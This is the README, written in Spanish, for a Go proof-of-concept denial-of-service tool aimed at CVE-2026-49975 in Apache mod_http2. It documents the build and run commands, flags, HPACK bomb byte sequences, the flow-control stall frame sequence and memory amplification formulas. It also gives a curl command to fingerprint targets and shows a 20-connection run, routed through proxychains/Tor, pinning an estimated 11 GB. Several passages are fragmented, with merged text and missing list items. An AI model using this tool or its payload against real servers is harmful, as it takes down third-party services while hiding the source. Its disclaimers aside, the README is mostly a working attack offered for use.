
Prueba de concepto de investigación de seguridad para CVE-2026-49975: bomba de compresión HPACK de HTTP/2 + DoS por retención de control de flujo en Apache mod_http2
PoC de investigación de seguridad por naheeju
⚠️ Esta es una herramienta funcional de DoS por agotamiento de memoria — no es un juguete. Abre flujos que fuerzan al objetivo a asignar memoria y los mantiene abiertos mediante trucos de control de flujo de HTTP/2. Mientras el proceso esté en ejecución, sigue reteniendo y se reconecta automáticamente si el servidor cierra la conexión — no se detiene por sí solo. El impacto escala directamente con
--threads, y . Detener el proceso (Ctrl+C) libera los flujos retenidos y permite que el servidor se recupere, pero nada en el funcionamiento por defecto es "suave" — trata cada ejecución como una prueba con fuego real.
--streams--headersCVE-2026-49975 ("HTTP/2 Bomb") es una vulnerabilidad de denegación de servicio remota y no autenticada que afecta al módulo mod_http2 del servidor Apache HTTP. Encadena dos debilidades de HTTP/2 conocidas desde hace tiempo:
Cookie se fusionen sin contabilizarse contra LimitRequestFields, forzando al servidor a asignar memoria repetidamente para estructuras internas de contabilidad de cabeceras.El resultado: un único cliente en una conexión modesta puede forzar una asignación de memoria significativa y sostenida en el objetivo durante todo el tiempo que se mantenga abierto el flujo. Esta implementación soporta dos modos de payload y escala linealmente con la concurrencia que configures:
nginx — planta una cabecera x-bomb vacía en la tabla dinámica HPACK y la referencia repetidamente (~70:1 de amplificación por referencia).classic — planta en su lugar una cabecera cookie sobredimensionada (~4000:1 de amplificación por referencia).Cada conexión vuelve a referenciar la cabecera plantada miles de veces por flujo (--headers, por defecto 5000), a través de múltiples flujos por conexión (--streams, por defecto 10) y múltiples conexiones paralelas (--threads, por defecto 1). Si el servidor cierra una conexión, la herramienta se reconecta inmediatamente y continúa hasta que se detenga manualmente — este es un bucle de retención continua, no una sonda única de un solo disparo.
Identificadores relacionados para otras pilas afectadas (no implementadas ni probadas por este repositorio):
CVE-2026-47774Alcance completo de la clase de debilidad subyacente, para completitud — la técnica "HTTP/2 Bomb" (bomba de compresión HPACK + retención de control de flujo) afecta a varias implementaciones de servidor más allá de Apache. Este repositorio solo implementa y prueba el caso de Apache; el resto se incluye para que los lectores entiendan la clase más amplia, no porque este PoC las ejercite:
| Implementación | Estado | ¿Implementada en este PoC? |
|---|---|---|
Apache HTTP Server mod_http2 | Corregido en httpd 2.4.68 (2026-06-08) | Sí — este repositorio |
| nginx | Corregido en 1.29.8 | No |
| Envoy | Rastreado por separado | No |
| Microsoft IIS | Rastreado por separado | No |
| Cloudflare Pingora | Rastreado por separado | No |
| CVE | CVE-2026-49975 |
| CWE | CWE-789 (Memory Allocation with Excessive Size Value, según NVD/CVE.org); también rastreado como CWE-409 (Improper Handling of Highly Compressed Data) por algunos proveedores |
| CVSS | 7.5 (Alto) — CVSS v3.1, vector solo de disponibilidad (según NVD). El propio aviso de Apache lo califica como Moderado. |
| Componente afectado | Apache HTTP Server mod_http2 |
| Versiones vulnerables | Apache httpd 2.4.17 ≤ versión ≤ 2.4.67 (configuración HTTP/2 por defecto) |
| Corregido en | Apache HTTP Server 2.4.68 (publicado el 2026-06-08). La corrección subyacente llegó a upstream en mod_h2 el 2026-05-27, se fusionó en la rama 2.4.x de httpd el 2026-06-02 y se distribuyó en la versión 2.4.68. |
| Tipo de ataque | Denegación de servicio — agotamiento de memoria (solo disponibilidad) |
| Requiere autenticación | No |
| Exposición de datos / RCE | Ninguna — esto solo impacta la disponibilidad |
| Explotación conocida | Actualmente no marcado como explotado en la naturaleza por fuentes rastreadas. |
Referencias (fuentes primarias — verifica todas las afirmaciones de forma independiente):
Este repositorio contiene:
Este repositorio no contiene:
Lee esto antes de hacer cualquier otra cosa.
Al descargar, clonar o ejecutar cualquier código de este repositorio, aceptas que eres el único responsable de asegurarte de contar con la autorización adecuada, y que aceptas plena responsabilidad legal por tu uso del mismo.
CVE-2026-49975 solo aplica a un objetivo que cumpla ambos criterios de la Sección 1 — accesible por HTTP/2 y ejecutando una versión de mod_http2 vulnerable y dentro del rango (2.4.17 ≤ versión ≤ 2.4.67, configuración por defecto). Un simple curl -vkI contra el puerto HTTPS del objetivo es suficiente para verificar ambos — no se necesita ningún escáner ni flags adicionales:
curl -vkI https://<target>
Qué buscar en la salida:
ALPN: server accepted h2 — el servidor negoció HTTP/2 para esta conexión. Esta es la precondición para CVE-2026-49975, ya que el fallo reside en mod_http2; un servidor que nunca aceptó h2 aquí no es candidato.Server (visible una vez que se imprimen las cabeceras de la respuesta HEAD, más abajo en la salida de -v) — esto es lo que confirma o descarta la versión real de Apache/mod_http2 contra el rango vulnerable de la Sección 1. La aceptación de ALPN por sí sola no confirma la versión — eso aún requiere la cabecera Server o una verificación de banner equivalente.No se usa nada más allá de esto para el reconocimiento en este repositorio — sin tráfico de explotación activa, sin escáneres de vulnerabilidades, sin barridos de puertos.
cve202649975)golang.org/x/net v0.59.0 (resuelto automáticamente vía go build)443, TLS/h2 por defecto; --no-ssl para h2c en texto plano)proxychains4, detecta el wrapper LD_PRELOAD, lee el mismo proxychains4.conf y enruta sus propias conexiones a través de ese proxy SOCKS5 (resolución DNS remota) — útil cuando el alcance de un encargo requiere probar desde una ruta de salida específicaCronología pública del propio CVE-2026-49975: reportado a Apache el 2026-05-26; la corrección llegó a upstream en
mod_h2el 2026-05-27; fusionada en la rama 2.4.x de httpd el 2026-06-02; Apache HTTP Server 2.4.68 publicado el 2026-06-08.
Solo ejecuta esto contra un objetivo que estés explícitamente autorizado a probar. No hay límite de duración integrado ni modo seguro — tú eres responsable de cuánto tiempo se ejecuta y con qué concurrencia.
Compilar:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
Ejecutar:
./dos <target> <port> [flags]
| Flag | Por defecto | Descripción |
|---|---|---|
--threads N | 1 | Conexiones paralelas |
--streams N | 10 | Flujos abiertos por conexión |
--headers N | 5000 | Referencias a la tabla dinámica HPACK por flujo (motor de amplificación) |
--mode nginx|classic | nginx | nginx = bomba de contabilidad de cabecera vacía (~70:1); classic = bomba de cookie gorda (~4000:1, coincide con el mecanismo de fusión de Cookie de mod_http2 de Apache por el que se rastrea este CVE) |
--no-ssl | off | Usar h2c en texto plano en lugar de TLS |
Ejemplo, prueba mínima de laboratorio autorizada:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
Comportamiento esperado:
WINDOW_UPDATE de 1 byte y pings periódicos; se reconecta automáticamente y repite si el servidor cierra la conexión.Ctrl+C / SIGTERM — planifica tu ventana de prueba en consecuencia y monitorea la memoria del objetivo en tiempo real.--streams/--headers bajos antes de cualquier prueba de producción autorizada, y tener listo un plan de reversión/reinicio para el servicio objetivo en cualquier caso.Fórmula aproximada de memoria del lado del servidor para los dos modos de esta herramienta (solo Apache mod_http2 — consulta la Sección 1 para saber cómo nginx/classic se corresponden con la ratio de amplificación):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
Escala threads/streams/headers hacia arriba y el número crece linealmente — por eso una prueba de laboratorio autorizada debería empezar bajo (ver Sección 7) antes de cualquier ejecución en alcance de producción.
Esto documenta el mecanismo que este PoC específico implementa contra Apache mod_http2 — no se extiende a otras implementaciones de servidor, que están fuera del alcance de este repositorio (ver Sección 2).
Semilla de la tabla dinámica HPACK (indexación incremental, añade entrada en el índice 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
Referencia indexada a esa entrada (1 byte cada una, repetida --headers veces):
0x80 | 62 = 0xbe
Secuencia de frames HTTP/2 por conexión:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
El costo en el cable es pequeño y mayormente fijo por flujo (un puñado de bytes para la semilla + 1 byte por referencia); la asignación del lado del servidor es lo que crece de forma desproporcionada — esa brecha es la vulnerabilidad.
Salida de una ejecución de laboratorio autorizada, modo classic, 20 conexiones × 30 flujos/conexión, 5000 refs HPACK/flujo, enrutada a través de proxychains:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
Cada conexión reporta de forma independiente su propia contribución de RAM local a medida que abre flujos (~572 MB por conexión con estos ajustes); la cifra previa al vuelo Est. server RAM es el agregado de las 20 conexiones (~11.4 GB) una vez que cada conexión está completamente abierta y reteniendo.
domain.comarriba es un marcador de posición — reemplázalo con tu objetivo autorizado real al documentar tu propia ejecución, y redáctalo si el encargo es confidencial.
LimitRequestFields de forma conservadora y monitorea el comportamiento de fusión de cabeceras.Descubrimiento y divulgación original de la vulnerabilidad a Apache (sin relación con este repositorio ni con su autor):
Este repositorio (reimplementación en Go, escrita y probada después de que la corrección pública llegara):
Preguntas, correcciones o inquietudes relacionadas con la divulgación responsable sobre este PoC específico: abre un issue en este repositorio.
Licencia: MIT (solo el código de este repositorio — ver LICENSE). No se extiende a, ni implica el respaldo de, los descubridores originales ni la Apache Software Foundation.